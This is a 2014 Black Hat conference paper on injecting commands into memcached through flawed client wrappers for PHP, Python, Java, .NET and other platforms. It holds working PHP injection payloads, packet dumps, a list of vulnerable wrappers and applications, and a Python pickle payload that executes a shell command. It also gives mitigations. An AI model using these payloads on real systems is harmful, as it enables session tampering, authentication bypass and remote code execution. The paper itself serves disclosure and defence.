The New Page of Injections Book: Memcached Injections

Ivan Novikov
Wallarm, Lead Security Expert and CEO
in@wallarm.com

black hat USA 2014

The New Page of Injections Book: Memcached Injections

Ivan Novikov
Wallarm, Lead Security Expert and CEO
in@wallarm.com

01 Abstract

Memcached is a distributed memory caching system. It is in great demand in big-data Internet projects as it allows reasonably speed up web applications by caching data in RAM. Cached data often includes user sessions and other sensitive information.

This report is based on research of different memcached wrappers to popular web application development platforms, such as Go, Ruby, Java, Python, PHP, Lua, and .NET. The primary goal is determining input validation issues at key-value data which could be used to inject arbitrary commands to memcached protocol.

As a result, the speaker found a way to do something like “SQL Injection attacks,” but on memcached service. Such an attack in practice leads to different effects from authentication bypass to execution of arbitrary interpreter’s code. It’s a real world problem found on security audits and exists on different popular web applications.

02 Memcache overview

Memcache is free and open source, high-performance, distributed memory object caching system. Memcached is an in-memory key-value store for small chunks of arbitrary data (strings, objects) from results of database calls, API calls, or page rendering.

Memcached is a network service on loopback interface at 11211 port (UDP and TCP both) with host-base authenticatiion. It supports both plaintext and binary protocols. Last daemon versions also supports SASL authentication.

Memcached daemon supports both UDP and TCP sockets, and provides two different protocols: plaint text and binary to commicate with it. Memcached runs on Unix, Linux, Windows and Mac OS X and is distributed under a permissive free software license.

Its simple design promotes quick deployment, ease of development, and solves many problems facing large data caches. Many popular web projects use memcached, such as LiveJournal, Twitter, Flickr, Youtube, Wikipedia and others.

03 The problem

Memcahed API is available for most popular languages.

In this research, the author will try to observe different memcached wrappers for different platforms to check them for input validation errors at protocol level. It is expected to find something like classic injection (SQL injection, LDAP injection, etc) in memcached plaintext protocol wrappers.

Author has examined some memcached wrappers for popular web-applications platforms: .NET, Go, Java, Lua, PHP, Python, Ruby. Wrappers which use binary memcached protocol are not considered at this work and may be target for future research.

04 Memcache plain text protocol

Basically memcached protocol consists of commands and data sequences terminated by CRLF [1].

Little fuzzing and simple source code analysis daemon Link [1] reveal a slightly different format of the protocol:

```
<command>0x20<argument>(LF|CRLF)
<data>CRLF
```

Null-byte (0x00) terminates any plain text protocol command, for example:

```
<command>0x20<argument><NULL>any postfix
data(LF|CRLF)
```

In practice, most often there are cases when the application controls the key names and their values (for example, to set or read them). Therefore, the author focused on such cases.

By code analysis and fuzzing method auther have come to possible key name format. There are no prohibited bytes at key names (except of 0x00, 0x20 and 0x0a control chars of cource). But there are restriction at maximum key name length which is 255 bytes.

Neat moment hiding in states while protocol interpretation. If daemon recognizes first command as storage command Link , data after LF (CRLF) would be interpreted as data to store. In other cases, data after LF (CRLF) would be interpreted as next command, not as data. Thus, when the demon receive a sequence of strings, depending on the context decides which of them are commands, and what data.

Memcached provides several types of commands:

1. storage (set, add, replace, append, prepend, cas)
2. retrieval (get, gets)
3. deletion (delete)
4. increment/decrement (incr, decr)
5. touch
6. slabs reassign
7. slabs automove
8. lru_crawler
9. statistics(stats items, slabs, cachedump)
10. other (version, flush_all, quit)

In this research the author tries to consider all of these types, but focuses mainly on those that are most often used in real web applications.

05 Memcache injections classification

5.1. Batch injection (command injection) — 0x0a/0x0d bytes

The simplest vector is CRLF injection in the command argument. For example, as the name attribute for the command “set”.

Example of vulnerable code is shown below. For convenience, the attack vector is placed in a string constant. In real applications, the vulnerable code will look similar to the $m->set("prefix_".$_GET[‘key’],"data").

```
<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$m->set("key1 0 0 1\r\n1\r\nset
injected 0 3600 10\r\n1234567890\
r\n","1234567890",30);
?>
```

In this example, the new command (set) is placed in the key name. Please note that the first thing you need to properly complete context. To do this, we pass the length with value=1 in the first line, and then send the 1-byte-size data (number 1 after line breaks), and after that you can start a new context with the injected command “set”.

The exchange of data between client and server in this case would look like:

```
> set key 0 0 1
> 1
< STORED
> set injected 0 3600 10
> 1234567890
< STORED
> 0 30 10
< ERROR
> 1234567890
< ERROR
```

Note that this is a logical exchange of commands within the memchaned protocol, not a dump of network traffic exchange. It is easy to correct vector of attack so as not to cause errors on the server side.

In the network dump, all commands from the clients will come in the same packet due to fragmentation, however, this does not prevent injection. Here is the dump of network traffic when such an attack:

```
23:52:53.691388 IP localhost.54575 > localhost.11211: Flags [P.], seq 1:78, ack 1,
win 257, options [nop,nop,TS val 517660124 ecr 517660124], length 77
        0x0000:  4500 0081 63c6 4000 4006 d8ae 7f00 0001  E...c.@.@.......
        0x0010:  7f00 0001 d52f 2bcb 476b be19 526e fbb6  ...../+.Gk..Rn..
        0x0020:  8018 0101 fe75 0000 0101 080a 1eda dddc  .....u..........
        0x0030:  1eda dddc 7365 7420 6b65 7931 2030 2030  ....set.key1.0.0
        0x0040:  2031 0d0a 310d 0a73 6574 2069 6e6a 6563  .1..1..set.injec
        0x0050:  7465 6420 3020 3336 3030 2031 300d 0a31  ted.0.3600.10..1
        0x0060:  3233 3435 3637 3839 300d 0a20 3020 3330  234567890...0.30
        0x0070:  2031 300d 0a31 3233 3435 3637 3839 300d  .10..1234567890.
        0x0080:  0a                                       .
23:52:53.691406 IP localhost.11211 > localhost.54575: Flags [.], ack 78, win 256,
options [nop,nop,TS val 517660124 ecr 517660124], length 0
        0x0000:  4500 0034 266a 4000 4006 1658 7f00 0001  E..4&j@.@..X....
        0x0010:  7f00 0001 2bcb d52f 526e fbb6 476b be66  ....+../Rn..Gk.f
        0x0020:  8010 0100 fe28 0000 0101 080a 1eda dddc  .....(..........
        0x0030:  1eda dddc                                ....
23:52:53.691468 IP localhost.11211 > localhost.54575: Flags [P.], seq 1:9, ack 78,
win 256, options [nop,nop,TS val 517660124 ecr 517660124], length 8
        0x0000:  4500 003c 266b 4000 4006 164f 7f00 0001  E..<&k@.@..O....
        0x0010:  7f00 0001 2bcb d52f 526e fbb6 476b be66  ....+../Rn..Gk.f
        0x0020:  8018 0100 fe30 0000 0101 080a 1eda dddc  .....0..........
        0x0030:  1eda dddc 5354 4f52 4544 0d0a            ....STORED..
23:52:53.691486 IP localhost.11211 > localhost.54575: Flags [P.], seq 9:17, ack 78,
win 256, options [nop,nop,TS val 517660124 ecr 517660124], length 8
        0x0000:  4500 003c 266c 4000 4006 164e 7f00 0001  E..<&l@.@..N....
        0x0010:  7f00 0001 2bcb d52f 526e fbbe 476b be66  ....+../Rn..Gk.f
        0x0020:  8018 0100 fe30 0000 0101 080a 1eda dddc  .....0..........
        0x0030:  1eda dddc 5354 4f52 4544 0d0a            ....STORED..
23:52:53.691493 IP localhost.11211 > localhost.54575: Flags [P.], seq 17:24, ack 78,
win 256, options [nop,nop,TS val 517660124 ecr 517660124], length 7
        0x0000:  4500 003b 266d 4000 4006 164e 7f00 0001  E..;&m@.@..N....
        0x0010:  7f00 0001 2bcb d52f 526e fbc6 476b be66  ....+../Rn..Gk.f
        0x0020:  8018 0100 fe2f 0000 0101 080a 1eda dddc  ...../..........
        0x0030:  1eda dddc 4552 524f 520d 0a              ....ERROR..
```

```
23:52:53.691498 IP localhost.11211 > localhost.54575: Flags [P.], seq 24:31, ack 78,
win 256, options [nop,nop,TS val 517660124 ecr 517660124], length 7
        0x0000:  4500 003b 266e 4000 4006 164d 7f00 0001  E..;&n@.@..M....
        0x0010:  7f00 0001 2bcb d52f 526e fbcd 476b be66  ....+../Rn..Gk.f
        0x0020:  8018 0100 fe2f 0000 0101 080a 1eda dddc  ...../..........
        0x0030:  1eda dddc 4552 524f 520d 0a              ....ERROR..
```

5.2. Parser state breaking (interprets data to store as command)

A truly smart vector.

Plaint/text protocol processes client request line by line. Moreover, when the current line contains storage command (for example “set”), the following line is automaticaly interpreted as data. This feature of plaintext protocol is called the context of processing.

But if the current line generates an error (for example, “incorrect value of key”), the following line will already be taken as a command, not as data. That gives the attacker an opportunity to make an injection commands via the data block.

The data block, as distinct from the names of the keys, not subject to any filtering according to the protocol, therefore, in particular, can contain any number of control characters such as line breaks. When reading data block, daemon takes into account the size of data passed in the argument of write-value commands (such as set).

There are few different ways to break parser’s state by corruption storage command:

1. key name >255 bytes
2. invalid arguments count (depends on the command, but “a a a a a a” obviously breaks them all)

The vulnerable code example below:

```
<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set(str_repeat("a",251),"set injected 0 3600 10\r\n1234567890",30);
?>
```

In this example, the syntax of the protocol is violated, as the key length is longer than 250 bytes. Upon receipt of this command, server will return an error. The context of the command handler will go again in the mode of receiving the command, and the client will send data that will be interpreted as a command. As a result, we again set a key with name “injected” and value 1234567890.

A similar result can be obtained by sending a whitespace characters in the name of the key, so that the number of arguments of the set command would exceedthe allowable limit. For example, passing “1 2 3” value in the name of the key.

The exchange of data between client and server in this case would look like:

```
> set 1 2 3 0 30 36
< ERROR
> set injected 0 3600 10
> 1234567890
< STORED
```

Dump of network traffic when such an attack:

```
00:19:04.671582 IP localhost.54894 > localhost.11211: Flags [P.], seq 58:115,
ack 23, win 257, options [nop,nop,TS val 518052869 ecr 518052869], length 57
        0x0000:  4500 006d b66c 4000 4006 861c 7f00 0001  E..m.l@.@.......
        0x0010:  7f00 0001 d66e 2bcb 0e80 6a9d 65bb 67e9  .....n+...j.e.g.
        0x0020:  8018 0101 fe61 0000 0101 080a 1ee0 dc05  .....a..........
        0x0030:  1ee0 dc05 7365 7420 3120 3220 3320 3020  ....set.1.2.3.0.
        0x0040:  3330 2033 360d 0a73 6574 2069 6e6a 6563  30.36..set.injec
        0x0050:  7465 6420 3020 3336 3030 2031 300d 0a30  ted.0.3600.10..0
        0x0060:  3233 3435 3637 3839 300d 0a0d 0a          234567890..
00:19:04.671663 IP localhost.11211 > localhost.54894: Flags [P.], seq 23:30, ack
115, win 256, options [nop,nop,TS val 518052869 ecr 518052869], length 7
        0x0000:  4500 003b bbda 4000 4006 80e0 7f00 0001  E..;..@.@.......
        0x0010:  7f00 0001 2bcb d66e 65bb 67e9 0e80 6ad6  ....+..ne.g...j.
        0x0020:  8018 0100 fe2f 0000 0101 080a 1ee0 dc05  ...../..........
        0x0030:  1ee0 dc05 4552 524f 520d 0a              ....ERROR..
00:19:04.671690 IP localhost.11211 > localhost.54894: Flags [P.], seq 30:38, ack
115, win 256, options [nop,nop,TS val 518052869 ecr 518052869], length 8
        0x0000:  4500 003c bbdb 4000 4006 80de 7f00 0001  E..<..@.@.......
        0x0010:  7f00 0001 2bcb d66e 65bb 67f0 0e80 6ad6  ....+..ne.g...j.
        0x0020:  8018 0100 fe30 0000 0101 080a 1ee0 dc05  .....0..........
        0x0030:  1ee0 dc05 5354 4f52 4544 0d0a            ....STORED..
```

5.3. Argument injection — 0x20 byte

First look at syntax of memcached storage commands:

```
<command name> <key> <flags> <exptime>
<bytes> [noreply]\r\n
cas <key> <flags> <exptime> <bytes> <cas
unique> [noreply]\r\n
```

The last optional argument opens the possibility for injection. All of the tested memcached drivers doesn't set "noreply" argument for storage commands. That is why attacker may inject whitespace characters (0x20 bytes) to shift "exptime" agrument to "bytes" place which allows to inject new command at data block of packet (note, that no escaping made in packet's data block, but the length of it is checked).

Here is valid packet (set key for 30 seconds with 10 bytes of `data`, “noreply” argument is empty):

```
set key1 0 30 10
1234567890
```

And here is example with space byte injection (now key is set for 0 seconds with 30 bytes of data, and value 52 is actual data length which calculated by driver):

```
set key1 0 0 30 52
123456789012345678901234567890\r\nget
injectionhere111
```

Code below demonstrates the attack:

```
<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
// Normal
$m->set("key1","1234567890",30);
// Injection here, without CRLF at key
$m->set("key1 0","12345678901234567890
1234567890\r\nset injected 0 3600 3\r\
nINJ\r\n",30);
?>
```

In this example, the space in the key’s name causes the value 0 perceived as a new argument to the set command, and the arguments that are appended by the driver, thereby shifted one position. As a result, the value of 30, which passes the driver as a key’s time-to-live, is perceived as the length of the data block. Incorrect definition data block’s length, in turn, enables us to place a attack vector (data is never filtered).

The exchange of data between client and server in this case would look like:

```
> set key 0 0 30 60
> 123456789012345678901234567890
< STORED
> set injected 0 3600 3
> INJ
< STORED
```

Dump of network traffic when such an attack:

```
00:38:47.706743 IP localhost.55124 > localhost.11211: Flags [P.], seq 1:82, ack 1,
win 257, options [nop,nop,TS val 518348628 ecr 518348628], length 81
        0x0000:  4500 0085 534c 4000 4006 e924 7f00 0001  E...SL@.@..$....
        0x0010:  7f00 0001 d754 2bcb c12e 0c1f b405 a71f  .....T+.........
        0x0020:  8018 0101 fe79 0000 0101 080a 1ee5 5f54  .....y........_T
        0x0030:  1ee5 5f54 7365 7420 6b65 7920 3020 3020  .._Tset.key.0.0.
        0x0040:  3330 2036 300d 0a31 3233 3435 3637 3839  30.60..123456789
        0x0050:  3031 3233 3435 3637 3839 3031 3233 3435  0123456789012345
        0x0060:  3637 3839 300d 0a73 6574 2069 6e6a 6563  67890..set.injec
        0x0070:  7465 6420 3020 3336 3030 2033 0d0a 494e  ted.0.3600.3..IN
        0x0080:  4a0d 0a0d 0a                             J....
```

```
00:38:47.706765 IP localhost.11211 > localhost.55124: Flags [.], ack 82, win 256,
options [nop,nop,TS val 518348628 ecr 518348628], length 0
        0x0000:  4500 0034 f84b 4000 4006 4476 7f00 0001  E..4.K@.@.Dv....
        0x0010:  7f00 0001 2bcb d754 b405 a71f c12e 0c70  ....+..T.......p
        0x0020:  8010 0100 fe28 0000 0101 080a 1ee5 5f54  .....(........_T
        0x0030:  1ee5 5f54                                ..._T
00:38:47.706864 IP localhost.11211 > localhost.55124: Flags [P.], seq 1:9, ack 82,
win 256, options [nop,nop,TS val 518348628 ecr 518348628], length 8
        0x0000:  4500 003c f84c 4000 4006 446d 7f00 0001  E..<.L@.@.Dm....
        0x0010:  7f00 0001 2bcb d754 b405 a71f c12e 0c70  ....+..T.......p
        0x0020:  8018 0100 fe30 0000 0101 080a 1ee5 5f54  .....0........_T
        0x0030:  1ee5 5f54 5354 4f52 4544 0d0a            ..._TSTORED..
00:38:47.706888 IP localhost.11211 > localhost.55124: Flags [P.], seq 9:17, ack 82,
win 256, options [nop,nop,TS val 518348628 ecr 518348628], length 8
        0x0000:  4500 003c f84d 4000 4006 446c 7f00 0001  E..<.M@.@.Dl....
        0x0010:  7f00 0001 2bcb d754 b405 a727 c12e 0c70  ....+..T...'...p
        0x0020:  8018 0100 fe30 0000 0101 080a 1ee5 5f54  .....0........_T
        0x0030:  1ee5 5f54 5354 4f52 4544 0d0a            ..._TSTORED..
```

5.4. Data length breaking (null-byte)

This conceptual attack which was not found in the tested wrappers. However, it can potentially be found in some other libraries to work with memcached.

Essentially, we assume that the null bytes in the data block may break the calculation of the data's length on the driver level (wrapper). Here is command example that demonstrates this idea. Calculated length of the data does not match the actual length (after the null byte):

```
set a 0 3600 10
123456789\0\r\nset injected 0 3600 3\r\
nINJ\r\n
```

06 Covered platforms and results

Platform table (memcached)

Orange highlights those wrappers, in which the presence of a vulnerability has been confirmed. Find the list of infiltered bytes in the corresponding cells.

	protocol	key injection	value injection (length calculation corruption)	state breaking injection (key len)	deserialize values
Ruby (memcache-client 1.8.5)	plain text	OK (illegal character in key)	OK	OK (250 max, error)	
Ruby (memcache)	plain text	0x00 0x0d (0x20 to “\s” 0x0a to “\n”)	OK	OK (250 max, error)	
Ruby (dalli)	binary only				
Python (python-memcache 1.48-1)	plain text	OK (Control characters not allowed)	OK	OK (250 max, error)	
Python (python-pylibmc 1.2.2-1+b2)	binary + plain text (config)	0x0a 0x0d 0x20	OK	OK (250 max, error)	YES Pickle RCE!
Java (java.net.spy.MemcachedClient)	plain text	OK	OK	OK (250 max, error)	ObjectInputStream readObject() [6]
Java (com.meetup.memcached)	plain text	OK (URLEncoder.encode)	OK	YES OK (250 max, truncation)	ContextObjectInputStream readObject() [6]
PHP Memcache (5.4.4-14+deb7u7)	plain text	OK (replaced to _)	OK		
PHP Memcached (5.4.4-14+deb7u7)	binary + plain text (config)	0x00 0x0a 0x0d 0x20	OK	YES	unserialize() [4]
Lua (resty memcached)	plaint text	OK (ngx.urlencode)	OK	YES	NO
Go	plain text	NOT (only >0x20 && <=0x7e)	NOT	OK (250 max, error)	YES
.NET (memcacheddotnet 1.1.5)	plain text	0x00 0x20 0x0a 0x0d	NOT	YES	(BinaryFormatter.Deserialize) [5]

Applications table (memcached)

Orange highlights those areas of the source code popular web applications using vulnerable implementations of memcached drivers.

	Platform
Wordpress memcache plugin	PHP Memcache
Wordpress memcached-redux plugin	PHP Memcached
PHPBB3 (acm)	PHP Memcache
Joomla 3.2.2	PHP Memcached (./libraries/joomla/cache/storage/memcached.php)
Piwik 2.1.0	Memcached ./piwik/libs/Zend/Cache/Backend/Libmemcached.php Memcache ./piwik/libs/Zend/Cache/Backend/Memcached.php
Typo3 6.2.0	Memcache ./typo3/sysext/core/Classes/Cache/Backend/MemcachedBackend.php
MODX revolution 2.3	Memcached . /revolution/core/model/aws/lib/cachecore/cachemc.class.php ./revolution/core/xpdo/cache/xpdomemcached.class.php

07 Objects manipulation cases

Memcached commonly used to store serialized values. Therefore, in the case of injections, it is subject to such drawback as CWE-502 “Deserialization unreliable data”.

Attacker can inject arbitrary serialized data into key data and expect deserialization after reading it by the target application. The effect of this operation depends not only on the application code, but also implementation of deserialization mechanism in the execution environment. So in the case of Java and PHP vulnerability is realized only in case of unsafe magic methods, classes, and in the case of Python, on the contrary, it immediately gives the possibility to execute arbitrary operating system commands without any additional conditions.

7.2. Python

Look at rcedata value stored at memcached:

```
get rcedata
VALUE rcedata 1 47
?csubprocess
Popen
qU
  /usr/bin/idq?q?qRq.
END
```

This is a classic Pickle RCE deserialization exploit.
This code executes it:

```
import pylibmc
mc = pylibmc.Client(["127.0.0.1"])
b = mc.get("rcedata")
```

In this example, data, when deserialized, restore the state by means of built-in function embedded in these data. This function contains the code of the command execution id command in shell.

08 Mitigations

A good way to protect against this type of injection is the use of binary protocol for client-server interaction. Such approach excludes the possibility of command injections in the area of data or key names, as accompanied by the obligatory indication of the value's length in the packet.

A key feature of plaintext protocol is the use of delimiters, and lack of checking of delimiters in key names and their values leads to the injection. To implement filtering data, use the following rules:

1. Length is 250 bytes
2. 0x00, 0x0a, 0x09, 0x0d, 0x20 bytes filtration

Good escaping at driver (wrapper) level can be found at: Link

```
    if (keyBytes.length > MemcachedClientIF.MAX_KEY_LENGTH) {
      throw new IllegalArgumentException("Key is too long (maxlen = "
          + MemcachedClientIF.MAX_KEY_LENGTH + ")");
    }
...
      for (byte b : keyBytes) {
        if (b == ' ' || b == '\n' || b == '\r' || b == 0) {
```

09 Conclusions

This study demonstrated the vulnerability of drivers for working with the popular data storage memcached.

In general, the vulnerabilities exist due to an error input filtering parameters. This allows not only to inject commands to the protocol between client and server, thereby performing all the operations available to the protocol (read / write / delete keys, etc.), but also touches other driver functions, such as deserializing objects. As has been shown, in some cases, unsafe deserializing data from the data store allows to execute arbitrary code on the system.

Proper filtering of data or use a binary protocol can be an effective countermeasure against this attack

10 References

Materials:

01 https://github.com/memcached/memcached/blob/master/doc/protocol.txt

02 https://code.google.com/p/memcached/wiki/MemcacheBinaryProtocol

03 https://github.com/memcached/memcached/blob/master/doc/protocol.txt

04 https://media.blackhat.com/bh-us-10/presentations/Esser/Black-Hat-USA-2010-Esser-Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits-slides.pdf

05 https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf

06 http://www.ibm.com/developerworks/security/library/se-lookahead/index.html

07 http://cwe.mitre.org/data/definitions/502.html

Sources:

01 http://rubydoc.info/gems/memcache-client/1.8.5/frames

02 https://github.com/gwhalin/Memcached-Java-Client/blob/master/src/com/meetup/memcached/MemcachedClient.java

03 https://github.com/agentzh/lua-resty-memcached/blob/master/lib/resty/memcached.lua

04 https://github.com/bradfitz/gomemcache/blob/master/memcache/memcache.go

05 http://sourceforge.net/projects/memcacheddotnet/

About Wallarm

Wallarm is next generation web security solution designed to protect online businesses from application-level attacks. It organically combines vulnerability detection with web application firewall (WAF).

Wallarm is developed on top of NGINX, an increasingly popular high performance web server and load balancer used by 35% of the busiest 1000 websites. It targets clients with high loaded web projects in e-commerce, SaaS/PaaS, big data, news media, communication and online payments markets.

Wallarm is a unique everyday tool built by security professionals for security professionals. Its key features include:

1. Behavioral analytics and machine learning for detection of 0day attacks and vulnerabilities they are targeting
2. Statistics algorithms resulting in low false positives and resistance to spam in interface
3. Virtual vulnerability patching for immediate protection
4. Integration with popular bug trackers to automate secure development life-cycle (SDLC) and continuous integration
5. Asynchronous mode to secure extremely loaded applications

For more information, please visit
www.wallarm.com